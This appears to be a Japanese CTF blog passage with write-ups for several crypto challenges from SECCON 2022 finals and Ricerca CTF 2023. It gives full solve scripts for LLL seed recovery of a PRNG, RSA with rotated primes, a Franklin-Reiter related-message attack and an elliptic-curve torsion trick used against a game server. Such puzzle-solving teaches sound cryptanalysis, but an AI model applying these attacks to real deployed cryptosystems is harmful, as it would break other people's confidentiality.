            self.x = (self.a * pow(self.x, -1, self.p) + self.b) % self.p
            return self.x


class CIG:
    L = 256

    def __init__(self, icgs: list[ICG]) -> None:
        self.icgs = icgs
        self.T = prod([icg.p for icg in self.icgs])
        self.Ts = [self.T // icg.p for icg in self.icgs]

    def _next(self) -> int:
        ret = 0
        for icg, t in zip(self.icgs, self.Ts):
            ret += icg._next() * t
            ret %= self.T
        return ret % 2**self.L

    def randbytes(self, n: int) -> bytes:
        ret = b""
        block_size = self.L // 8
        while n > 0:
            ret += self._next().to_bytes(block_size, "big")[: min(n, block_size)]
            n -= block_size
        return ret


if __name__ == "__main__":
    random = CIG([ICG(p1, a1, b1), ICG(p2, a2, b2), ICG(p3, a3, b3)])
    enc_flag = xor(flag, random.randbytes(len(flag)))
    leaked = random.randbytes(300)
    print(f"{enc_flag = }")
    print(f"{leaked = }")

128bit程度の素数 p_i と整数 a_i, b_i (i=1,2,3) を用いて、次の漸化式で乱数生成を行っています。

\displaystyle{
x_{j+1,i}=\frac{a_i}{x_{j,i}}+b_i \pmod{p_i}
}

j 個目の出力は

\displaystyle{
x_{j,1}p_2p_3+x_{j,2}p_3p_1+x_{j,3}p_1p_2\bmod{p_1p_2p_3}
}

の下256bitとなっています。300bytes (9個) の出力からseedを復元できれば、フラグが求まります。

中国剰余定理により、n=p_1p_2p_3 として \bmod{n} で考えることができます。

乱数生成式は1次分数変換なので、seedを r とすると、i 個目の出力は \frac{a_ir+b_i}{c_ir+d_i}\bmod{n} の下256bit、と表せます。よって、r_i (i=1,2,\ldots,9) を出力、x_i を128bit程度の未知数として、

\displaystyle{
\frac{a_ir+b_i}{c_ir+d_i}=2^{256}x_i+r_i \pmod{n}
}

と書けます。変形すると、

\displaystyle{
r=\frac{b_i'+d_i'x_i}{a_i'+c_i'x_i} \pmod{n}
}

のようになります。

ここで x_i に関する式と x_j に関する式から r を消去すると、

\displaystyle{
a_{ij}+b_{ij}x_i+c_{ij}x_j=x_ix_j \pmod{n}
}

のようになります。x_ix_j は256bit程度で n より十分小さいので、次のような行列

\displaystyle{
\begin{pmatrix}
a_{12} & a_{13} & a_{14} & 0 & 0 & 0 & 1 & 0 & 0 & 0 & 0\\ 
b_{12} & 0 & 0 & a_{23} & a_{24} & 0 & 0 & 1 & 0 & 0 & 0\\ 
0 & b_{13} & 0 & b_{23} & 0 & a_{34} & 0 & 0 & 1 & 0 & 0\\ 
0 & 0 & b_{14} & 0 & b_{24} & b_{34} & 0 & 0 & 0 & 1 & 0\\ 
n & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0\\ 
0 & n & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0\\ 
0 & 0 & n & 0 & 0 & 0 & 0 & 0 & 0 & 0 & 0\\ 
0 & 0 & 0 & n & 0 & 0 & 0 & 0 & 0 & 0 & 0\\
0 & 0 & 0 & 0 & n & 0 & 0 & 0 & 0 & 0 & 0\\
0 & 0 & 0 & 0 & 0 & n & 0 & 0 & 0 & 0 & 0\\ 
c_{12} & c_{13} & c_{14} & c_{23} & c_{24} & c_{34} & 0 & 0 & 0 & 0 & \infty
\end{pmatrix}
}

に対しLLLアルゴリズムを適用すると、最後の行に次のようなベクトル

\displaystyle{
(x_1x_2, x_1x_3, x_1x_4, x_2x_3, x_2x_4, x_3x_4, x_1, x_2, x_3, x_4, \infty)
}

が現れることが期待できます (実際は 1\leq i\lt j \leq 9 すべてを使って行列を作ります)。 実際は x_i の列に 2^{128} 倍程度の重みを付ける (大きさを x_ix_j の列と合わせる) ことで、欲しいベクトルが得られます。

from Crypto.Util.number import *
from output import *

p1 = 21267647932558653966460912964485513283
a1 = 6701852062049119913950006634400761786
b1 = 19775891958934432784881327048059215186
p2 = 21267647932558653966460912964485513289
a2 = 10720524649888207044145162345477779939
b2 = 19322437691046737175347391539401674191
p3 = 21267647932558653966460912964485513327
a3 = 8837701396379888544152794707609074012
b3 = 10502852884703606118029748810384117800
a = [a1,a2,a3]
b = [b1,b2,b3]
p = [p1,p2,p3]
n = p1*p2*p3

r = []
for i in range(9):
    l = leaked[i*32:(i+1)*32]
    l = bytes_to_long(l)
    r.append(l)

mats = []
for i in range(3):
    mat = []
    m = Matrix.identity(GF(p[i]), 2)
    for j in range(9):
        mat.append(m)
        m *= Matrix(GF(p[i]), [[b[i],a[i]],[1,0]])
    mats.append(mat)

mat = []
for i in range(9):
    mati = [[0,0],[0,0]]
    for i1 in range(2):
        for i2 in range(2):
            if i1==0:
                c = CRT_list([int(mats[j][i][i1,i2])*(n//p[j])%p[j] for j in range(3)], p)
            else:
                c = CRT_list([int(mats[j][i][i1,i2]) for j in range(3)], p)
            mati[i1][i2] = c
    mat.append(mati)

for i in range(9):
    mat[i][0][0] = (mat[i][0][0]-r[i]*mat[i][1][0])%n
    mat[i][0][1] = (mat[i][0][1]-r[i]*mat[i][1][1])%n

M = [[0]*46 for _ in range(46)]
k = 0
for i in range(9):
    ai,bi,ci,di = mat[i][0][0],mat[i][0][1],mat[i][1][0],mat[i][1][1]
    for j in range(i):
        aj,bj,cj,dj = mat[j][0][0],mat[j][0][1],mat[j][1][0],mat[j][1][1]
        v1 = (ai*bj-aj*bi)%n
        v2 = (2**256)*(di*aj-ci*bj)%n
        v3 = (2**256)*(cj*bi-ai*dj)%n
        v4 = (2**512)*(ci*dj-cj*di)%n
        v1 = v1*inverse(v4,n)%n
        v2 = v2*inverse(v4,n)%n
        v3 = v3*inverse(v4,n)%n
        M[45][k] = -v1
        M[i][k] = -v2
        M[j][k] = -v3
        M[9+k][k] = n
        k += 1
weight = 2**100
for i in range(9):
    M[i][36+i] = weight
M[45][45] = 2**384

res = Matrix(M).LLL()

xs = [x//weight for x in res[-1][36:45]]
a0,b0,c0,d0 = mat[0][0][0],mat[0][0][1],mat[0][1][0],mat[0][1][1]
r = (-b0+(2**256)*xs[0]*d0)*inverse(int(a0-(2**256)*xs[0]*c0), n)%n
rs = [r%pi for pi in p]

def xor(a, b):
    return bytes([x^^y for x,y in zip(a, b)])

flag = b''
for i in range(2,-1,-1):
    for j in range(3):
        rs[j] = inverse(int(rs[j]-b[j]),p[j])*a[j]%p[j]
    ret = 0
    for j in range(3):
        ret += rs[j]*(n//p[j])
    ret %= n
    ret %= 2**256
    m = enc_flag[32*i:min(len(enc_flag),32*(i+1))]
    flag = xor(m,long_to_bytes(ret)) + flag
print(flag)
# b'SECCON{ICG1c6iC6icgic6icgcIgIcg1C6ic6ICGICG1cGicG1C61CG1cG1c61cgIcg}'

[crypto] mystic_harmony

次のソースコードが与えられます。

import random
import Crypto.Cipher.AES as AES
from Crypto.Util.number import long_to_bytes
import hashlib
from flag import FLAG

R.<x, y> = PolynomialRing(GF(2))
size = 2^8
K.<alpha> = GF(size, modulus=x^8+x^4+x^3+x^2+1)

def make_human_world(human_world_size):
    H = 0
    for i in range(human_world_size):
        for j in range(human_world_size):
            H += (x^i) * (y^j) * (alpha^(random.randint(0,size-2)))
    return H

def make_spirit_world(H, spirit_world_size_param):
    Gx = prod(x-alpha^i for i in range(1,spirit_world_size_param+1))
    Gy = prod(y-alpha^i for i in range(1,spirit_world_size_param+1))
    return H % (Gx + Gy)

def make_disharmony(C, count):
    x_set = set()

    D = 0
    for i in range(count):
        r = random.randint(0,size-2)
        p = random.choice(list(C.dict().keys()))
        while p[0] in x_set:
            p = random.choice(list(C.dict().keys()))
        x_set.add(p[0])
        D += (x^p[0]) * (y^p[1]) * alpha^(r)
    return D

def make_key(D):
    key_seed = b""
    for pos, value in sorted(list(D.dict().items())):
        x = pos[0]
        y = pos[1]
        power = discrete_log(value, alpha, size-1)
        key_seed += long_to_bytes(x) + long_to_bytes(y) + long_to_bytes(power)
    m = hashlib.sha256()
    m.update(key_seed)
    return m.digest()

def get_polynomial_dict(C):
    res = C.dict()
    for key in res:
        res[key] = discrete_log(res[key], alpha, size-1)
    return res

human_world_size = 64
spirit_world_size_param = 32
disharmony_count = 16

H = make_human_world(human_world_size)
S = make_spirit_world(H, spirit_world_size_param)
World = H+S
D = make_disharmony(World, disharmony_count)
C = H+S+D

key = make_key(D)
cipher = AES.new( key, AES.MODE_ECB )

print("# Witch making the map! please wait.", flush=True)
witch_map = []
for i in range(spirit_world_size_param):
    row = []
    C_y = C(y=alpha^(i+1))
    for j in range(spirit_world_size_param):
        temp = C_y(x=alpha^(j+1))
        if temp == 0:
            row.append(None)
        else:
            row.append(discrete_log(temp, alpha, size-1))
    witch_map.append(row)
print("witch_map=", witch_map)
print("treasure_box=", cipher.encrypt(FLAG))

S=H\bmod{(\prod_{i=1}^{32}(x-\alpha^{i})+\prod_{i=1}^{32}(y-\alpha^{i}))} より S(\alpha^{i}, \alpha^{j})=H(\alpha^{i}, \alpha^{j}) (1\leq i, j\leq 32) であることに注意すると、結局次のような問題になります。

  • K=\mathbb{F}_{2^{8}}=\mathbb{F}_{2}(\alpha) 係数の2変数多項式 D(x,y) がある
  • D(x,y)x について96次未満、y について64次未満であり、0でない項は16個である
  • D(\alpha^{i}, \alpha^{j}) (1\leq i, j\leq 32) が与えられる
  • D(x,y) を復元できればフラグが得られる

G(x)=\prod_{i=1}^{32}(x-\alpha^{i}) とします。各 j に対し、D(x,\alpha^{j})\bmod{(x-\alpha^{i})} (i=1,\ldots,32) が与えられているので、中国剰余定理により、D(x,\alpha^{j})\bmod{G(x)} が求まります。つまり、未知の多項式 q_j(x) と、既知の32次未満の多項式 r_j(x) を用いて

\displaystyle{
D(x,\alpha^{j})=q_j(x)G(x)+r_j(x)
}

と表せます。

D(x,\alpha^{j}) たちは、次数が j によらず共通な16個の項を除き係数が0となっているので、D(x,\alpha^{j})=\sum_{i}D_{ij}x^{i} と表したとき、行列 (D_{ij}) のrankは16以下となります。ここで、(D_{ij}) のrankはちょうど16となる場合が多いと推測できます。

(D_{ij}) のrankがちょうど16と仮定し、係数が0でない項の次数を i_1, \ldots, i_{16} とおくと、ii_1, \ldots, i_{16} のいずれかに一致する場合、

\displaystyle{
\sum_{j=1}^{32}c_{j}D(x,\alpha^{j})=x^{i}
}

を満たす c_j\in K が存在します。ここで \bmod{G(x)} を考えると、

\displaystyle{
\sum_{j=1}^{32}c_{j}r_{j}(x)=(x^{i}\bmod{G(x)})
}

を満たす c_j\in K が存在することが言えます。

(D_{ij}) のrankは16以下なので、17個の j を取ってくると、それら D(x,\alpha^{j}) は1次従属となります。つまり、

\displaystyle{
c_1D(x,\alpha^{j_1})+\cdots+c_{17}D(x,\alpha^{j_{17}})=0
}

を満たす、すべてが0ではない c_i\in K が存在します。\bmod{G(x)} を考えると、

\displaystyle{
c_1r_{j_1}(x)+\cdots+c_{17}r_{j_{17}}(x)=0
}

を満たす、すべてが0ではない c_i\in K が存在することになります。よって、r_j(x)=\sum_{i}r_{ij}x^{i} と表したとき、行列 (r_{ij}) のrankも16以下となります。

ii_1, \ldots, i_{16} のいずれでもない場合、i'=i, i_1,\ldots,i_{16} に対する (x^{i'}\bmod{G(x)}) たちは1次独立である場合が多いと推測できます。これを仮定すると、(r_{ij}) のrankはちょうど16で、

\displaystyle{
\sum_{j=1}^{32}c_jr_j(x)=(x^i\bmod{G(x)})
}

を満たす c_j\in K は存在しないと言えます。

以上より、i=0,1,\ldots,95 のそれぞれについて

\displaystyle{
\sum_{j=1}^{32}c_jr_j(x)=(x^i\bmod{G(x)})
}

を満たす c_j\in K が存在するかを、連立1次方程式を解いてチェックすることで、D(x,y) の0でない項の x の次数を求めることができそうです。

同様に D(x,y) の0でない項の y の次数も求めることができます。これで、D(x,y) の未知の係数は 16\times 16 個となり、32\times 32 個の (x,y) での値がわかっているので、連立1次方程式を解いて係数を求めることができます。数回サーバーに接続することで解けるケースを引くことができました。

from Crypto.Util.number import *
import Crypto.Cipher.AES as AES
import hashlib

human_world_size = 64
spirit_world_size_param = 32
disharmony_count = 16

witch_map= [[79, 234, 66, 99, 151, 3, 58, 164, 80, 54, 3, 252, 174, 48, 173, 241, 24, 217, 80, 46, 135, 23, 136, 118, 62, 151, 13, 13, 201, 95, 120, 212], ... ]
treasure_box= b'\x99{d\xfe\x06\xc9\x07\x7f\xca\xc8\x01\xff\x857l\x10\x170\x99\xeb\xc0\xc9\xb4Q\x8a0\xe18\xd3F\x95\x99\xba\x99Y\x81R\xc5\\\xfa\x0c\xb5\x10CI\x18\xe0\x96\xd9k\x1d\x884{\xd9\x01(\xac\xc0)\xd2\x1a81'

R.<x> = PolynomialRing(GF(2))
size = 2^8
K.<alpha> = GF(size, modulus=x^8+x^4+x^3+x^2+1)

def inv(a, mod):
    b, x, y=mod, 1, 0
    while b:
        t=a//b
        a-=t*b
        x-=t*y
        a, b=b, a
        x, y=y, x
    return x%mod

def crt(r1, q1, r2, q2):
    g = inv(q2, q1)
    k = g*q2%q1
    g *= K(k)^(-1)
    return (g*(r1-r2)%q1)*q2+r2

G = prod(x-alpha^i for i in range(1,spirit_world_size_param+1))

# xの次数を求める
rs = []
for j in range(spirit_world_size_param):
    r = 0
    q = 1
    for i in range(spirit_world_size_param):
        v = 0
        if witch_map[j][i] is not None:
            v = alpha^witch_map[j][i]
        r = crt(v, x-alpha^(i+1), r, q)
        q *= (x-alpha^(i+1))
    r = r.list()
    r += [0]*(spirit_world_size_param-len(r))
    rs.append(r)

rst = Matrix(K, rs).transpose()
indx = []
for i in range(spirit_world_size_param+human_world_size):
    v = (x^i%G).list()
    v += [0]*(spirit_world_size_param-len(v))
    try:
        w = rst.solve_right(vector(K, v))
    except:
        continue
    indx.append(i)

# yの次数を求める
rs = []
for j in range(spirit_world_size_param):
    r = 0
    q = 1
    for i in range(spirit_world_size_param):
        v = 0
        if witch_map[i][j] is not None:
            v = alpha^witch_map[i][j]
        r = crt(v, x-alpha^(i+1), r, q)
        q *= (x-alpha^(i+1))
    r = r.list()
    r += [0]*(spirit_world_size_param-len(r))
    rs.append(r)

rst = Matrix(K, rs).transpose()
indy = []
for i in range(spirit_world_size_param+human_world_size):
    v = (x^i%G).list()
    v += [0]*(spirit_world_size_param-len(v))
    try:
        w = rst.solve_right(vector(K, v))
    except:
        continue
    indy.append(i)

# 係数を求める
M = [[K(0)]*(disharmony_count*disharmony_count) for _ in range(spirit_world_size_param*spirit_world_size_param)]
for i in range(spirit_world_size_param):
    for j in range(spirit_world_size_param):
        for k in range(disharmony_count):
            for l in range(disharmony_count):
                M[i*spirit_world_size_param+j][k*disharmony_count+l] = alpha^((i+1)*indx[k]+(j+1)*indy[l])

v = [K(0)]*(spirit_world_size_param*spirit_world_size_param)
for i in range(spirit_world_size_param):
    for j in range(spirit_world_size_param):
        if witch_map[j][i] is not None:
            v[i*spirit_world_size_param+j] = alpha^witch_map[j][i]

c = Matrix(K, M).solve_right(vector(K, v))

R.<x, y> = PolynomialRing(GF(2))
D = 0
for i in range(disharmony_count):
    for j in range(disharmony_count):
        D += c[i*disharmony_count+j]*x^indx[i]*y^indy[j]

def make_key(D):
    key_seed = b""
    for pos, value in sorted(list(D.dict().items())):
        x = pos[0]
        y = pos[1]
        power = discrete_log(value, alpha, size-1)
        key_seed += long_to_bytes(x) + long_to_bytes(y) + long_to_bytes(power)
    m = hashlib.sha256()
    m.update(key_seed)
    return m.digest()

key = make_key(D)
cipher = AES.new( key, AES.MODE_ECB )
print(cipher.decrypt(treasure_box))
# b'SECCON{I_te4ch_y0u_secret_spell...---number_XIV---Temperance!!!}'

最初、0でない係数が少ない (係数のなすベクトルが小さい) ということでLLLを試していましたが、そもそも結果が0と1からなるベクトルにならず全然ダメでした。確かに最小のベクトルを求めてくれる保証は無さそうですが、あまりよくわかっていません。

HS が出てくる意味がわからず、ヒントなのかなと思って\bmod{G_x} について考えてみたところ、一気に考察が進んでとても面白かったです。

なお、HS の意図がよくわからなかったとツイートしたところ、Reed-Solomon 符号というものをもとにしているのでは、と教えていただきました。

確かに Wikipedia を見ると、H がメッセージ、H+S が符号、D がエラーに見えて、1変数多項式の場合の誤り訂正方法も書かれているので、真似すると解けたのかもしれないです。

Ricerca CTF 2023 writeup

Ricerca CTF 2023にチームDCDCで参加して、9位でした。

cryptoのボス問を単独正解することができてとても嬉しいです!

Revolving Letters (crypto)

11時半ごろに起きたら、すでに他のメンバーが解いてくれていました。

Rotated Secret Analysis (crypto)

次のソースコードとその実行結果が与えられます。

import os
from Crypto.Util.number import bytes_to_long, getPrime, isPrime

flag = os.environ.get("FLAG", "fakeflag").encode()

while True:
  p = getPrime(1024)
  q = (p << 512 | p >> 512) & (2**1024 - 1) # bitwise rotation (cf. https://en.wikipedia.org/wiki/Bitwise_operation#Rotate)
  if isPrime(q): break

n = p * q
e = 0x10001
m = bytes_to_long(flag)

c = pow(m, e, n)

print(f'{n=}')
print(f'{e=}')
print(f'{c=}')

2048bitのRSA暗号ですが、p の上512bitと下512bitを入れ替えたものが q になっています。

p=2^{512}x+y,  q=2^{512}y+x ( 0\leq x, y\lt 2^{512}) と表せます。このとき、

\displaystyle{
n=(2^{1024}+1)xy+2^{512}(x^{2}+y^{2})
}

です。 0\leq xy\lt 2^{1024},  0\leq x^{2}+y^{2}\lt 2^{1025} なので、 n の下512bit が  xy の下512bitで、n の上512bitがほぼ xy の上512bit となります。ただし、1536bit目における繰り上がりおよび、x^{2}+y^{2} が1024bitを1bitだけ超えた分が、n の1537bit目に足される可能性があるので、その分を引くパターンも試す必要があります。

xy がわかれば、xy=m とすると、

\displaystyle{
n=(2^{1024}+1)m+2^{512}(x^{2}+m^{2}/x^{2})
}

です。これは x^{2}2次方程式なので解けます。

from Crypto.Util.number import *
from output import *
from gmpy2 import isqrt

xy = (n&(2**512-1)) | ((n>>1536)<<512)
xy -= 2**512 # 繰り上がりの分を引く
v = (n-xy*(2**1024+1))>>512
w = v*v-4*xy*xy
ws = isqrt(w)
x2 = (v-ws)//2
x = isqrt(x2)
y = xy//x
p = (x<<512)|y
q = (y<<512)|x
print(long_to_bytes(pow(c, inverse(e, (p-1)*(q-1)), n)))
# b'RicSec{d0nt_kn0w_th3_5ecr3t_w1th0ut_r0t4t1n9!}'

RSALCG (crypto)

次のソースコードとその実行結果が与えられます。

from Crypto.Util.number import getPrime, getRandomNBitInteger
import os

FLAG = os.getenv("FLAG", "RicSec{*** REDACTED ***}").encode()

def RSALCG(a, b, n):
    e = 65537
    s = getRandomNBitInteger(1024) % n
    while True:
        s = (a * s + b) % n
        yield pow(s, e, n)

def encrypt(rand, msg):
    assert len(msg) < 128
    m = int.from_bytes(msg, 'big')
    return int.to_bytes(m ^ next(rand), 128, 'big')

if __name__ == '__main__':
    n = getPrime(512) * getPrime(512)
    a = getRandomNBitInteger(1024)
    b = getRandomNBitInteger(1024)
    rand = RSALCG(a, b, n)
    print(f"{a = }")
    print(f"{b = }")
    print(f"{n = }")
    print(encrypt(rand, b"The quick brown fox jumps over the lazy dog").hex())
    print(encrypt(rand, FLAG).hex())
    print(encrypt(rand, b"https://translate.google.com/?sl=it&tl=en&text=ricerca").hex())

1つ目の暗号化時のsの値を s とします。a_{2}=a^{2}, b_{2}=ab+b とすると、2つ目, 3つ目の暗号化時のsはそれぞれ  as+b\bmod{n}, a_{2}s+b_{2}\bmod{n} です。1つ目と3つ目の暗号文から、 c_{1}=s^{e}\bmod{n} および  c_{3}=(a_{2}s+b_{2})^{e}\bmod{n} の値がわかります。 (as+b)^{e}\bmod{n} を求められれば2つ目の暗号文からフラグを復元できます。

ふるつきさんのCTF crypto 逆引きにもある通り、c_{1}c_{3} の条件から s を求めることができます。\mathbb{Z}/n\mathbb{Z} 上の多項式 f_{1}(x), f_{3}(x) を、

\displaystyle{
\begin{align}
f_{1}(x)&=x^{e}-c_{1} \\
f_{3}(x)&=(a_{2}x+b_{2})^{e}-c_{3}
\end{align}
}

と定めると、これらはともに x=s を根にもつので、x-s で割り切れます。よって、

\displaystyle{
\mathrm{gcd}(f_{1}(x), f_{3}(x))=x-s
}

となるので、gcdを計算できれば s が求まります。

gcdの計算は、整数の場合と同じユークリッドの互除法でできます。

def gcd(a, b):
    while b:
        a %= b
        a, b = b, a
    return a

計算量は、1回のループで小さい方の次数が1以上下がり、1回の除算に O(\text{次数}) かかるので、全体で O(e^{2}) です (整数の四則演算を O(1) と仮定した場合)。

今回  e=65537 でかなり時間がかかりそうに見えたので*1、half-gcdという高速なアルゴリズムを使いました。half-gcdの計算量は O(e\log^{2}e) です。half-gcdはkurenaifさんの動画で解説されていて、動画で紹介されているdiceCTFの問題のwriteupを検索すると、ソースコードも見つかります

from Crypto.Util.number import *

# https://scrapbox.io/crypto-writeup-public/diceCTF_2021_%7C_plagiarism
def pdivmod(u, v):
    """
    polynomial version of divmod
    """
    q = u // v
    r = u - q*v
    return (q, r)

def hgcd(u, v, min_degree=10):
    """
    Calculate Half-GCD of (u, v)
    f and g are univariate polynomial
    http://web.cs.iastate.edu/~cs577/handouts/polydivide.pdf
    """
    x = u.parent().gen()

    if u.degree() < v.degree():
        u, v = v, u

    if 2*v.degree() < u.degree() or u.degree() < min_degree:
        q = u // v
        return matrix([[1, -q], [0, 1]])

    m = u.degree() // 2
    b0, c0 = pdivmod(u, x^m)
    b1, c1 = pdivmod(v, x^m)

    R = hgcd(b0, b1)
    DE = R * matrix([[u], [v]])
    d, e = DE[0,0], DE[1,0]
    q, f = pdivmod(d, e)

    g0 = e // x^(m//2)
    g1 = f // x^(m//2)

    S = hgcd(g0, g1)
    return S * matrix([[0, 1], [1, -q]]) * R

def pgcd(u, v):
    """
    fast implementation of polynomial GCD
    using hgcd
    """
    if u.degree() < v.degree():
        u, v = v, u

    if v == 0:
        return u

    if u % v == 0:
        return v

    if u.degree() < 10:
        while v != 0:
            u, v = v, u % v
        return u

    R = hgcd(u, v)
    B = R * matrix([[u], [v]])
    b0, b1 = B[0,0], B[1,0]
    r = b0 % b1
    if r == 0:
        return b1

    return pgcd(b1, r)

a = 104932596701...
b = 146908709759...
n = 689154384544...
c1 = 0x05d7913ff5...
c2 = 0x1913ba387e...
c3 = 0x45054a08d5...
e = 65537
msg1 = b"The quick brown fox jumps over the lazy dog"
msg3 = b"https://translate.google.com/?sl=it&tl=en&text=ricerca"

c1 = c1^^int.from_bytes(msg1, 'big')
c3 = c3^^int.from_bytes(msg3, 'big')

R = Zmod(n)
PR.<x> = PolynomialRing(R)
a2 = a*a%n
b2 = (a*b+b)%n
f1 = x^e-c1
f3 = (a2*x+b2)^e-c3
f = pgcd(f1, f3).monic()
s = int(-f[0])
print(long_to_bytes(int(pow((a*s+b)%n, e, n))^^int(c2)))
# b"RicSec{1_7h1nk_y0u_uNd3r5t4nd_ev3ry7h1ng_4b0ut_Franklin-Reiter's_a7t4ck}"

dice-vs-kymn (crypto)

次のソースコードが与えられます。

import os
import signal

signal.alarm(1000)

for _ in range(77):
    x = randrange(1, 1 << 64)
    print("x:", x)
    a, b = int(input('a: ')), int(input('b: '))
    assert a != 0 and b != 0, "[kymn] Sorry for you!"

    for _ in range(10):
        p = random_prime(1 << 256)
        if legendre_symbol(x^3 + a*x + b, p) == 1:
            break
    else:
        print("[kymn] (^o^)m9 Bad luck!")
        exit()

    F = GF(p)
    E = EllipticCurve(F, [F(a), F(b)])
    G = E.lift_x(F(x))

    k = randrange(1, p)
    Q = k * G
    kymn_dice = (k % 6) + 1
    print("commitment:", (G[1], Q[1]))

    player_dice = int(input("Your dice: "))
    assert 1 <= player_dice <= 6, "Wrong input"

    if kymn_dice + player_dice == 7:
        print("[kymn] o(.o.)o You lucky bastard!")

    else:
        print("[kymn] (^o^)m9 Bad luck!")
        print("proof:", (p, k))
        exit()

else: # 77 wins!
    print("[kymn] I got totally destroyed! Hats off to you...")
    print("FLAG:", os.getenv("FLAG", "RicSec{*** REDACTED ***}"))

楕円曲線上の離散対数問題の答えを \bmod{6} で求める問題に77回正解できればフラグが得られます。ただし、ランダムに決まる Gx 座標 g_{x} が与えられた後に、楕円曲線の式の係数 a, b を自由に決めることができますが、pa, b の入力後にランダムで決まるようになっています。

(p がわかっているとして) G の位数が6の倍数であれば、Pohlig-Hellmanアルゴリズムの要領で k\bmod{6} を求めることができます。そこでまず、p によらず楕円曲線の位数が6の倍数となるような a, b を探索してみました。すると、例えば y^{2}=x^{3}-12x-11 などいくつかの候補が見つかります。しかし、楕円曲線の位数が6の倍数でも G の位数が6の倍数となるとは限らず、困りました。位数が 6^{n} の倍数の楕円曲線を探す方針でしばらく考えていましたが、全然見つからず時間を溶かしました。

何となく "y2=x3-12x-11 elliptic curve order" でググってみたところ、論文がヒットしました。y^{2}=x^{3}-12x-11 は、torsion groupが \mathbb{Z}/6\mathbb{Z} であるような楕円曲線 y^{2}=x^{3}-372x+2761\mathbb{Q} 上でisogeniousなので、どんな p でreductionをとっても位数は6の倍数だ、といったことが書かれています。これにより、\mathbb{Q} 上で考えて6-torsion pointをもつ楕円曲線を探せばよい、という正しい方針に進むことができました。

次に、"elliptic curve torsion group Z/6Z" でググると、6-torsion pointをもつ楕円曲線の例が色々書かれた論文がヒットしました。section2の例をWeierstrass標準形に直すと、

\displaystyle{
\begin{align}
a(c)&=-16c^{3}-(1+6c-3c^{2})^{2}/3 \\
b(c)&=2(1+6c-3c^{2})^{3}/27+16c^{3}(1+6c-3c^{2})/3 \\
x_{0}(c)&=-4c+(1+6c-3c^{2})/3
\end{align}
}

のとき、y^{2}=x^{3}+a(c)x+b(c)(x_{0}(c), \ast ) を6-torsion pointにもつことがわかります。6-torsion point自体の具体的な式もあるので、G が6-torsion pointになるように a, b を選ぶ方針でいきます。しかし、単純に x_{0}(c)=g_{x} となる c を考えると、a, b が整数になりません。そこで、x'=tx, y'=t^{3/2}y という変換を考えると、

\displaystyle{
\begin{align}
a(c,t)&=(-16c^{3}-(1+6c-3c^{2})^{2}/3)t^{2} \\
b(c,t)&=(2(1+6c-3c^{2})^{3}/27+16c^{3}(1+6c-3c^{2})/3)t^{3} \\
x_{0}(c,t)&=(-4c+(1+6c-3c^{2})/3)t
\end{align}
}

のとき、y'^{2}=x'^{3}+a(c,t)x'+b(c,t)(x_{0}(c,t), \ast ) を6-torsion pointにもつ、といえます。これでパラメータが増えて調節しやすくなりました。x_{0}(c,t)t の1次式なので、c は定数を試してみることにします。

まず c=1 にしてみると、x_{0}(c,t)=g_{x} となる t-3g_{x}/8 で、このとき a=-3g_{x}^{2}, b=-11g_{x}^{3}/8 となります。a, b は整数しか入力できないですが、g_{x} が奇数のとき b が整数にならずダメです。a, b 整数の条件が意外と厳しく、c=2, -1, 1/2 を試して同様にダメでしたが、c=1/3 にしてみると、a=-15g_{x}^{2}, b=-22g_{x}^{3} となり上手くいきます!

あとは、G, Q=kGy 座標 g_{y}, q_{y} が与えられたときに、QkG (k=0, 1, \ldots, 5) のどれに一致するのかを判定できる必要があります。試してみると、Gy 座標を t としたとき、2G, 3G, 4G, 5Gy 座標は -t/3, 0, t/3, -t となっていることがわかります。

sage: gx = randrange(1, 1<<64)                                                                                                                            
sage: a = -15*gx**2                                                                                                                                       
sage: b = -22*gx**3                                                                                                                                       
sage: K.<t> = NumberField(x^2-(gx^3+a*gx+b))                                                                                                                                                                                                                                                        
sage: EQ = EllipticCurve([a, b], K)                                                                                                                       
sage: GQ = EQ.lift_x(K(gx))                                                                                                                               
sage: for k in range(7): 
....:     print(k*GQ) 
....:                                                                                                                                                     
(0 : 1 : 0)
(15333364164610908544 : t : 1)
(-46000092493832725632 : -1/3*t : 1)
(-30666728329221817088 : 0 : 1)
(-46000092493832725632 : 1/3*t : 1)
(15333364164610908544 : -t : 1)
(0 : 1 : 0)

今回 p は与えられませんが、pg_{y}^{2}-(g_{x}^{3}+ag_{x}+b) を割り切ることに着目すると、例えば Q=2G なら、\mathrm{gcd}(g_{y}^{2}-(g_{x}^{3}+ag_{x}+b), g_{y}+3q_{y})p の倍数で大きい値になるので、Q=2G かどうか判定できます。

import socket
from Crypto.Util.number import *

def recvuntil(client, delim=b'\n'):
    buf = b''
    while delim not in buf:
        buf += client.recv(1)
    return buf

host = 'dice-vs-kymn.2023.ricercactf.com'
port = 5963
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))

for _ in range(77):
    recvuntil(client, b'x: ')
    gx = int(recvuntil(client).strip())
    a = -15*(gx**2)
    b = -22*(gx**3)
    recvuntil(client, b'a: ')
    client.send(str(a).encode()+b'\n')
    recvuntil(client, b'b: ')
    client.send(str(b).encode()+b'\n')
    recvuntil(client, b'commitment: ')
    gy, qy = eval(recvuntil(client).strip())

    kymn_dice = 0
    if qy == 1:
        kymn_dice = 0+1
    elif qy == 0:
        kymn_dice = 3+1
    elif qy == gy:
        kymn_dice = 1+1
    elif GCD(gy+qy, gy^2-gx^3-a*gx-b) > 2**64:
        kymn_dice = 5+1
    elif GCD(gy+3*qy, gy^2-gx^3-a*gx-b) > 2**64:
        kymn_dice = 2+1
    else:
        assert GCD(gy-3*qy, gy^2-gx^3-a*gx-b) > 2**64
        kymn_dice = 4+1
    player_dice = 7-kymn_dice
    recvuntil(client, b'Your dice: ')
    client.send(str(player_dice).encode()+b'\n')

recvuntil(client)
print(recvuntil(client))
# b'RicSec{t0rs10n_p01nt_1s_1nt3r3st1ng}'

\mathbb{F}_{p} ではなく \mathbb{Q} 上での考察が必要なCTFの楕円曲線問は初めて見たので、とても面白かったです。6-torsion pointをもつ楕円曲線は気合いで探索するのが想定解らしい(?)ので、ググって出てきたもので上手くいったのは運が良かったです。

*1:実際は数十分程度で解けるようです。

SECCON CTF 2022 国内決勝 writeup

SECCON CTF 2022 国内決勝にチームchocoruskで参加し、2位を取ることができました!

国内チームの中では唯一、Jeopardyのcrypto問を全完できてとても嬉しいです。

参加記が全然書き進まないので、まず自分が解いたJeopardy問 (cryptoのみ) のwriteupを公開します。

authenticator (crypto)

